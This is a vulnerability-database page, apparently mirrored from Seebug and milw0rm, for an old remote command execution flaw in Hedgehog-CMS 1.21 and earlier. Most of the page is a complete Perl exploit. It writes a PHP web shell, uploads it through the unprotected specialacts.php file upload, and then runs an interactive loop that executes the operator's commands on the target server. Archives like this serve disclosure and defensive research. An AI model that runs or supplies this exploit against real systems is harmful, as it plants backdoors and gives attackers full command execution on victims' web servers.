Lucene search
K

Hedgehog-CMS <= 1.21 Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Hedgehog-CMS 1.21 Remote Command Executio

Code

                                                --+++===================================================================+++--
--+++====== Hedgedog-CMS &#60;= 1.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

sub usage
{
	print
		&#34;\nHedgedog-CMS &#60;= 1.21 Remote Command Execution Exploit&#34;.
		&#34;\n[+] Author   : darkjoker&#34;.
		&#34;\n[+] Site     : http://darkjoker.net23.net&#34;.
		&#34;\n[+] Download : http://mesh.dl.sourceforge.net/sourceforge/hedgehog-cms/hedgehog-cms_v1.21.zip&#34;.
		&#34;\n[+] Usage    : perl ${0} &#60;hostname&#62; &#60;path&#62;&#34;.
		&#34;\n[+] Ex.      : perl ${0} localhost /hedgedogCMS&#34;.
		&#34;\n\n&#34;;
	exit ();
}

sub upload_shell
{
	my ($host, $path) = @_;
	open SHELL, &#34;&#62;shell.php&#34;;
	print SHELL &#34;&#60;?php system (stripslashes (\$_GET [&#39;cmd&#39;])); ?&#62;&#34;;
	close SHELL;
	my $url = &#34;http://${host}${path}/specialacts.php&#34;;
	my $lwp = LWP::UserAgent-&#62;new;
	my $req = $lwp-&#62;request	(
					POST $url,
					Content_Type =&#62; &#39;multipart/form-data&#39;,
					Content	    =&#62; [l_mode =&#62; 1, l_file =&#62; [&#34;shell.php&#34;]],
				);
	unlink &#34;shell.php&#34;;
	return 1 if ($req-&#62;is_success);
	return 0;
}

my ($host, $path) = @ARGV;
usage unless $path;
print &#34;[-] Exploit failed.\n&#34; unless upload_shell ($host, $path);
my $cmd;
my $url = &#34;http://${host}${path}/user/upload/shell.php&#34;;
while (1)
{
	print &#34;shell\@${host}: \$ &#34;;
	$cmd = &#60;STDIN&#62;;
	chomp $cmd;
	exit if $cmd =~ /quit/;
	my $lwp = LWP::UserAgent-&#62;new;
	my $req = $lwp-&#62;get (
			    	$url . &#34;?cmd=${cmd}&#34;,
			    );
	print $req-&#62;decoded_content;
}

# milw0rm.com [2009-02-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21